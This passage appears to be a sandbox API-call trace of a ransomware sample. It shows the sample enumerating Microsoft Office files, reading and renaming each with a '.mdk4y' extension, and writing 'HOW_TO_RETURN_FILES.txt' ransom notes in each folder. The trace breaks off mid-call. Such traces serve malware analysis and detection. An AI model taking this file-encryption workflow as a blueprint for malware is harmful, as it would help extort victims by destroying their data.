AreFileApisANSI () returned 1 [0184.555] GetACP () returned 0x4e4 [0184.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115875.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115875.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.556] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978700000) returned 1 [0184.557] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1d3, lpOverlapped=0x0) returned 1 [0184.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978900000) returned 1 [0184.559] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825978900000) returned 1 [0184.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif.mdk4y")) returned 1 [0184.560] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.560] AreFileApisANSI () returned 1 [0184.560] GetACP () returned 0x4e4 [0184.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0115876.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="J0115876.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0184.561] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825979100000) returned 1 [0184.561] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x15e, lpOverlapped=0x0) returned 1 [0184.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825979200000) returned 1 [0184.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825979200000) returned 1 [0184.563] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif.mdk4y")) returned 1 [0184.564] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0184.564] AreFileApisANSI () returned 1 [0184.564] GetACP () returned 0x4e4 [0184.565] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LINES.DLL", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="LINES.DLLGIF", lpUsedDefaultChar=0x37dec0) returned 9 [0184.565] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0184.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825979700000) returned 1 [0184.567] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3b98, lpOverlapped=0x0) returned 1 [0184.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825983000000) returned 1 [0184.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825983000000) returned 1 [0184.601] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll.mdk4y")) returned 1 [0184.603] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 0 [0184.603] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0184.603] AreFileApisANSI () returned 1 [0184.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0184.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0184.604] GetFileType (hFile=0xd8) returned 0x1 [0184.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.606] AreFileApisANSI () returned 1 [0184.606] GetACP () returned 0x4e4 [0184.606] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE10.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OFFICE10.DLLfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37df4c) returned 12 [0184.606] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.607] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825983700000) returned 1 [0184.608] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3da0, lpOverlapped=0x0) returned 1 [0184.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825983900000) returned 1 [0184.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825983900000) returned 1 [0184.609] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll.mdk4y")) returned 1 [0184.644] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.644] AreFileApisANSI () returned 1 [0184.644] GetACP () returned 0x4e4 [0184.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OFFICE10.MMW", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OFFICE10.MMW", lpUsedDefaultChar=0x37df4c) returned 12 [0184.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825987500000) returned 1 [0184.645] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78450, lpOverlapped=0x0) returned 1 [0184.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825989600000) returned 1 [0184.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825989600000) returned 1 [0184.672] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw.mdk4y")) returned 1 [0184.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 0 [0184.675] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0184.676] AreFileApisANSI () returned 1 [0184.676] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0184.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0184.677] GetFileType (hFile=0x12c) returned 0x1 [0184.678] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 0 [0184.678] FindClose (in: hFindFile=0x6ab2d0 | out: hFindFile=0x6ab2d0) returned 1 [0184.678] AreFileApisANSI () returned 1 [0184.678] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6a4190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0184.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\media\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dd10, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0184.679] GetFileType (hFile=0x128) returned 0x1 [0184.681] FindNextFileW (in: hFindFile=0x6ab290, lpFindFileData=0x6a9618 | out: lpFindFileData=0x6a9618) returned 1 [0184.681] AreFileApisANSI () returned 1 [0184.681] GetACP () returned 0x4e4 [0184.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office14", cchWideChar=8, lpMultiByteStr=0x6ae1b4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37e064 | out: lpMultiByteStr="Office14 Themes 14", lpUsedDefaultChar=0x37e064) returned 8 [0184.681] AreFileApisANSI () returned 1 [0184.681] GetACP () returned 0x4e4 [0184.681] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x699960, cbMultiByte=43, lpWideCharStr=0x37ddf8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\랣") returned 43 [0184.681] AreFileApisANSI () returned 1 [0184.681] GetACP () returned 0x4e4 [0184.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 1 [0184.681] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0184.685] AreFileApisANSI () returned 1 [0184.685] GetACP () returned 0x4e4 [0184.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 2 [0184.685] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0184.685] AreFileApisANSI () returned 1 [0184.685] GetACP () returned 0x4e4 [0184.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="1033f+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pàzk", lpUsedDefaultChar=0x37dfd8) returned 4 [0184.686] AreFileApisANSI () returned 1 [0184.686] GetACP () returned 0x4e4 [0184.686] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a4190, cbMultiByte=48, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7章k㑚ĺ휐j饠i,") returned 48 [0184.707] AreFileApisANSI () returned 1 [0184.707] GetACP () returned 0x4e4 [0184.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".aOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 1 [0184.707] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.708] AreFileApisANSI () returned 1 [0184.708] GetACP () returned 0x4e4 [0184.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..Oz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 2 [0184.708] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.708] AreFileApisANSI () returned 1 [0184.708] GetACP () returned 0x4e4 [0184.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCDDSUI.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCDDSUI.DLLnCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 12 [0184.708] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.711] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825994000000) returned 1 [0184.711] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53b0, lpOverlapped=0x0) returned 1 [0184.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825996000000) returned 1 [0184.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825996000000) returned 1 [0184.730] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accddsui.dll.mdk4y")) returned 1 [0184.732] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.732] AreFileApisANSI () returned 1 [0184.732] GetACP () returned 0x4e4 [0184.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCESS12.ACC", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCESS12.ACC", lpUsedDefaultChar=0x37df4c) returned 12 [0184.732] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825996400000) returned 1 [0184.734] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79000, lpOverlapped=0x0) returned 1 [0184.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826009900000) returned 1 [0184.869] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826009900000) returned 1 [0184.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.mdk4y")) returned 1 [0184.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.875] AreFileApisANSI () returned 1 [0184.875] GetACP () returned 0x4e4 [0184.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCOLKI.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCOLKI.DLLC", lpUsedDefaultChar=0x37df4c) returned 11 [0184.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826010700000) returned 1 [0184.877] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33b8, lpOverlapped=0x0) returned 1 [0184.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826016100000) returned 1 [0184.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826016100000) returned 1 [0184.932] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCOLKI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accolki.dll.mdk4y")) returned 1 [0184.933] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0184.933] AreFileApisANSI () returned 1 [0184.933] GetACP () returned 0x4e4 [0184.933] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACCVDTUI.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACCVDTUI.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0184.933] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0184.934] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826016400000) returned 1 [0184.934] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x26b88, lpOverlapped=0x0) returned 1 [0185.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826031100000) returned 1 [0185.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826031100000) returned 1 [0185.083] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.mdk4y")) returned 1 [0185.084] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.084] AreFileApisANSI () returned 1 [0185.084] GetACP () returned 0x4e4 [0185.084] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACTIP10.HLP", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACTIP10.HLPL", lpUsedDefaultChar=0x37df4c) returned 11 [0185.085] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.086] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826031600000) returned 1 [0185.086] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x53de0, lpOverlapped=0x0) returned 1 [0185.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826034100000) returned 1 [0185.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826034100000) returned 1 [0185.116] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACTIP10.HLP.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\actip10.hlp.mdk4y")) returned 1 [0185.117] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.117] AreFileApisANSI () returned 1 [0185.117] GetACP () returned 0x4e4 [0185.117] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ACWIZRC.DLL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ACWIZRC.DLL", 